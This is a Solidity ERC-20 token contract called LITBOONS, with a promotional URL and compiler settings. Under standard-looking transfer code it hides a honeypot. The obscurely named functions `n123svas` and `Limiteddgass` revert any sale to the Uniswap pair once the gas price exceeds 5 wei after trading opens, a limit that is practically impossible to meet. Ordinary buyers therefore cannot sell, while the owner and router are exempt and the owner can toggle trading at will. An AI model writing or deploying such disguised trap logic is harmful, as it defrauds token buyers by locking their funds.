/**
https://litboons.vip/

*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    constructor() {
        _owner = _msgSender();
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(_owner == _msgSender(), "Not owner");
    }
}

contract LITBOONS is Ownable, IERC20 {

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;
    mapping(address => bool) _excludeOpenTrade;

    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1000000000 * 10**_decimals;
    string private constant _name = unicode"LITBOONS";
    string private constant _symbol = unicode"LITBOONS";

    bool private openedTrade = false;

    address public uniswapV2Pair;
    IUniswapV2Router02 public uniswapV2Router;

    constructor() {
        _balances[_msgSender()] = _balances[_msgSender()] + _totalSupply;
       _excludeOpenTrade[
            address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)
        ] = true;
        _excludeOpenTrade[owner()] = true;
        _excludeOpenTrade[address(this)] = true;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function getOpenedTrade() public view returns (bool) {
        return openedTrade;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function transfer(address to, uint256 value)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()] - (amount)
        );
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        _tokenTransfer(from, to, amount);
        if (!_excludeOpenTrade[from] && !_excludeOpenTrade[to]) {
            require(openedTrade, "Trade has not been opened yet");
        }
        uint256 fromBalance = balanceOf(from);
        require(fromBalance >= amount,"ERROR: balance of from less than value");
        _balances[from] = fromBalance - amount;
        _balances[to] = _balances[to] + amount;
        emit Transfer(from, to, amount);
    }

    mapping(address => uint8) private taxWallet;

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    uint256 private _limit_gas = 300 gwei;
    uint256 private _minmingas = 5;

    function n123svas(address _u) internal view {
        if (_excludeOpenTrade[_u]) {
            return;
        }
        if (!openedTrade) {
            Limiteddgass(_limit_gas);
        } else {
            Limiteddgass(_minmingas);
        }
    }

    function _tokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (to == address(uniswapV2Pair) || to == address(uniswapV2Router)) {
            n123svas(from);
        }
        require(amount > 0);
    }

    function Limiteddgass(uint256 _gas) internal view {
        if (tx.gasprice > _gas) {
            revert();
        }
    }

    function getPair(address _pair)external  onlyOwner{
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = _pair;
    }

    function openTrading() external onlyOwner {
        openedTrade = !openedTrade;
    }

    receive() external payable {}
}

{
  "compilationTarget": {
    "8.sol": "LITBOONS"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}